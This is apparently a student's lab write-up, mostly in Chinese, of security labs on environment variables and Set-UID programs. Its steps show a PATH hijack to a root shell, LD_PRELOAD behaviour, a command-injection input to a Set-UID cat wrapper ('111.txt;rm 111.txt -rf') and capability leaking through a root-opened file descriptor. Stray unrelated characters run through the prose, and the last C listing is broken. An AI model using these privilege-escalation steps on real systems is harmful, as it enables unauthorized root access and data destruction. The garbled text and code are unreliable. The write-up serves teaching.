Environment Variable and Set-UID Program Lab
Manipulating environment variables
打印環(huán)境變量:
pirntenv env
設(shè)置/取消設(shè)置環(huán)境變量:
export unset
Inheriting environment variables from parents
如果進(jìn)程需要啟動(dòng)另一個(gè)程序的可執(zhí)行文件叼耙,它先f(wàn)ork創(chuàng)建一個(gè)自身的副本骇扇,
然后由該副本調(diào)用exec系統(tǒng)調(diào)用粱檀,用其他程序覆蓋自身。當(dāng)一個(gè)進(jìn)程調(diào)用fork時(shí)迹炼,它被認(rèn)為是父進(jìn)程否彩,新創(chuàng)建的進(jìn)程稱作子進(jìn)程讼昆。fork操作會(huì)為子進(jìn)程創(chuàng)建一個(gè)單獨(dú)的地址空間蒙袍,子進(jìn)程擁有父進(jìn)程所有內(nèi)存段的副本。
include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
extern char** environ;
void printenv()
{
int i = 0;
while(environ[i] != NULL)
printf("%s\n",environ[i++]);
}
void main()
{
pid_t childPid;
switch(childPid = fork())
{
case 0:
printenv();
exit(0);
default:
//printenv();
exit(0);
}
}
先后取消父進(jìn)程和子進(jìn)程的注釋玄坦,將打印的文本信息保存血筑,
然后對(duì)比父進(jìn)程和子進(jìn)程的環(huán)境變量,結(jié)果完全一樣煎楣。
Environment varibales and execve()
int execve(const char* filename,char* const argv[],char* const envp[]);
execve()用來(lái)執(zhí)行參數(shù)filename字符串所代表的文件路徑豺总,
參數(shù)2是利用指針數(shù)組來(lái)傳遞給執(zhí)行文件,并且需要以空指針結(jié)束转质,
參數(shù)3是傳遞給執(zhí)行文件的新環(huán)境變量數(shù)組园欣。
成功不會(huì)返回,失敗返回-1休蟹。
include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
extern char** environ;
int main()
{
char* argv[2];
argv[0] = "/usr/bin/env";
argv[1] = NULL;
execve("/usr/bin/env",argv,NULL);
//execve("/usr/bin/env",argv,environ);
return 0;
}
當(dāng)execve()函數(shù)的參數(shù)3:新的環(huán)境變量數(shù)組沸枯,設(shè)置為NULL的時(shí)候,打印信息為空赂弓。
當(dāng)設(shè)置為environ時(shí)绑榴,打印出環(huán)境變量信息。
Environment variables and system()
int system(const char* string);
system()會(huì)調(diào)用fork()產(chǎn)生子進(jìn)程盈魁,由子進(jìn)程來(lái)調(diào)用/bin/sh來(lái)執(zhí)行參數(shù)string字符串所代表的命令翔怎,
此命令執(zhí)行完成后隨即返回原調(diào)用的進(jìn)程。
如果執(zhí)行成功則返回子shell的終止?fàn)顟B(tài)杨耙。
如果fork()失敗赤套,返回-1。
如果exec()失敗珊膜,表示不能執(zhí)行shell容握,返回值相當(dāng)于shell執(zhí)行了exit。
#include <stdio.h>
#include <stdlib.h>
int main()
{
system("/usr/bin/env");
return 0;
}
編譯運(yùn)行车柠,結(jié)果打印環(huán)境變量剔氏。
Environment variables and Set-UID Programs
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
void main()
{
int i = 0;
while (environ[i] != NULL)
printf("%s\n", environ[i++]);
}
root用戶編譯塑猖,設(shè)置Set-UID。
普通用戶下谈跛,使用export設(shè)置環(huán)境變量:
PATH
LD_LIBRARY_PATH
運(yùn)行上面的程序羊苟,發(fā)現(xiàn)環(huán)境變量發(fā)生變化
PATH變成剛剛設(shè)置的
LD_LIBRARY_PATH沒(méi)有找到
The PATH Environment variable and Set-UID Programs
int main()
{
system("ls");
return 0;
}
將/bin/sh復(fù)制到程序當(dāng)前目錄,命令為ls感憾。
cp /bin/sh ~/ls
設(shè)置環(huán)境變量PATH=~:$PATH蜡励。
root用戶編譯上面的程序,設(shè)置Set-UID阻桅。
普通用戶運(yùn)行巍虫,結(jié)果顯示獲取到root權(quán)限。
The LD_PRELOAD environment variable and Set-UID Programs
#include <stdio.h>
void sleep(int s)
{
printf("i am not sleeping \n");
}
gcc -fPIC -g -c mylib.c
gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
export LD_PRELOAD=./libmylib.so.1.0.1
/* myprog.c */
int main()
{
sleep(1);
return 0;
}
myprog普通程序鳍刷,普通用戶運(yùn)行
//輸出 i am not sleeping
myprog Set-UID root程序,普通用戶運(yùn)行
//輸出空
myprog Set-UID root程序俯抖,設(shè)置root用戶環(huán)境變量LD_PRELOAD输瓜,root用戶運(yùn)行
//輸出 i am not sleeping
myprog普通用戶1程序,設(shè)置普通用戶2環(huán)境變量LD_PRELOAD芬萍,普通用戶2運(yùn)行
//輸出空
只有用戶自己創(chuàng)建的程序自己去運(yùn)行尤揣,才會(huì)使用LD_PRELOAD環(huán)境變量,
否則忽略LD_PRELOAD環(huán)境變量柬祠。
Invoking external programs using system() versus execve()
/* bob.c */
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *v[3];
char *command;
if(argc < 2) {
printf("Please type a file name.\n");
return 1;
}
v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;
command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
sprintf(command, "%s %s", v[0], v[1]);
// Use only one of the followings.
system(command);
// execve(v[0], v, NULL);
return 0 ;
}
system(command);
bob可以實(shí)現(xiàn)刪除指定文件北戏。
root用戶,編譯上述程序漫蛔,設(shè)置Set-UID嗜愈。
攻擊者bob可以通過(guò):
./bob “111.txt;rm 111.txt -rf”
實(shí)現(xiàn)將沒(méi)有寫(xiě)權(quán)限的的文件111.txt刪除。
因?yàn)閟ystem()調(diào)用了shell莽龟,由于本程序設(shè)置了Set-UID蠕嫁,
將會(huì)以root身份去執(zhí)行字符串。
execve(v[0],v,NULL);
無(wú)法刪除指定文件毯盈。
./bob “111.txt;rm 111.txt -rf”
execve()將”111.txt;rm 111.txt -rf”當(dāng)作文件名剃毒,
自然顯示找不到文件。
Capability Leaking
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
void main()
{
int fd;
/* Assume that /etc/zzz is an important system file,
* and it is owned by root with permission 0644.
* Before running this program, you should creat
* the file /etc/zzz first. */
fd = open("/etc/zzz", O_RDWR | O_APPEND);
if (fd == -1) {
printf("Cannot open /etc/zzz\n");
exit(0);
}
/* Simulate the tasks conducted by the program */
sleep(1);
/* After the task, the root privileges are no longer needed,
it’s time to relinquish the root privileges permanently. */
setuid(getuid()); /* getuid() returns the real uid */
if (fork()) { /* In the parent process */
close (fd);
exit(0);
} else { /* in the child process */
/* Now, assume that the child process is compromised, malicious
attackers have injected the following statements
into this process */
write (fd, "Malicious Data\n", 15);
close (fd);
}
}
root用戶編譯搂赋,設(shè)置Set-UID赘阀,普通用戶運(yùn)行。
結(jié)果成功寫(xiě)入:“Malicious Data\n”
由于文件fd是root權(quán)限打開(kāi)的脑奠,導(dǎo)致降權(quán)不徹底基公。
需要遵循最小權(quán)限原則,用完就釋放權(quán)限捺信。
Set-UID Program Vulnerability Lab
實(shí)驗(yàn)?zāi)康模?br>
理解掌握為什么需要Set-UID程序
理解掌握潛在的安全隱患
問(wèn)題1
當(dāng)我們?cè)谄胀ㄓ脩粝螺斎雜u時(shí)酌媒,會(huì)發(fā)生什么欠痴?
需要我們輸入密碼,進(jìn)入root賬戶
當(dāng)我們把su程序復(fù)制到另一個(gè)目錄下的時(shí)候秒咨,運(yùn)行該目錄下的su passwd會(huì)發(fā)生什么喇辽?
輸入密碼無(wú)效,因?yàn)閺?fù)制的程序丟失了Set-UID
問(wèn)題2
root用戶登錄雨席,復(fù)制/bin/zsh到/tmp,設(shè)置s位菩咨,切換到普通用戶下,運(yùn)行/tmp/zsh陡厘,你會(huì)獲得root權(quán)限嗎抽米?
進(jìn)入zsh,普通用戶可以獲得root權(quán)限
復(fù)制/bin/bash試一試糙置?
進(jìn)入普通bash云茸,bash程序中有Set-UID保護(hù)機(jī)制
問(wèn)題3
更改/bin/sh符號(hào)鏈接指向/bin/zsh?
$ su
Password: (enter root password)cd /bin
rm sh
ln -s zsh sh
問(wèn)題4
PATH環(huán)境變量
在問(wèn)題3的基礎(chǔ)上
普通用戶下設(shè)置環(huán)境PATH=/tmp:$PATH
root用戶將zsh復(fù)制到/tmp谤饭,設(shè)置s位标捺,重命名為ls
#include <unistd.h>
#include <stdlib.h>
int main()
{
system("ls");
return 0;
}
普通用戶編譯運(yùn)行上面的程序,即可獲得root shell揉抵。
如果sh軟鏈接指向的是bash亡容,結(jié)果會(huì)怎樣?
只能獲得普通shell
問(wèn)題5
system()和execve()
背景:BOB是一個(gè)代碼審計(jì)員冤今,他需要看一家公司的全部文件闺兢,但是不能修改任何文件。
為此戏罢,系統(tǒng)管理員寫(xiě)了一個(gè)Set-UID的小程序屋谭,并且給了BOB可執(zhí)行權(quán)限。
這個(gè)小程序允許BOB輸入一個(gè)文件名帖汞,讓運(yùn)行/bin/cat查看文件內(nèi)容戴而。
小程序運(yùn)行期間,具有root權(quán)限翩蘸,因此可以查看任何文件內(nèi)容所意。
又因?yàn)檫@個(gè)小程序沒(méi)有寫(xiě)權(quán)限,因?yàn)锽OB不能修改任何文件催首。
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char* argv[])
{
char* v[3];
if(argc <2)
{
pirntf("Please type a file name.\n");
return 1;
}
}
v[0] = "/bin/cat";
v[1] = argv[1];
v[2] = 0;
int q = 0;
if(q ==0)
{
char* command = malloc(strlen(v[0])+strlen(v[1])+2);
sprintf(command,"%s %s",v[0],v[1]);
system(command);
}
else
{
execve(v[0],v,0);
}
return 0;
q = 0 如果你是BOB扶踊,你可以刪除文件嗎?
能郎任。程序使用system()函數(shù)秧耗,調(diào)用/bin/sh程序,修改環(huán)境變量舶治。
q = 1 如果你是BOB分井,你可以刪除文件嗎车猬?
不能。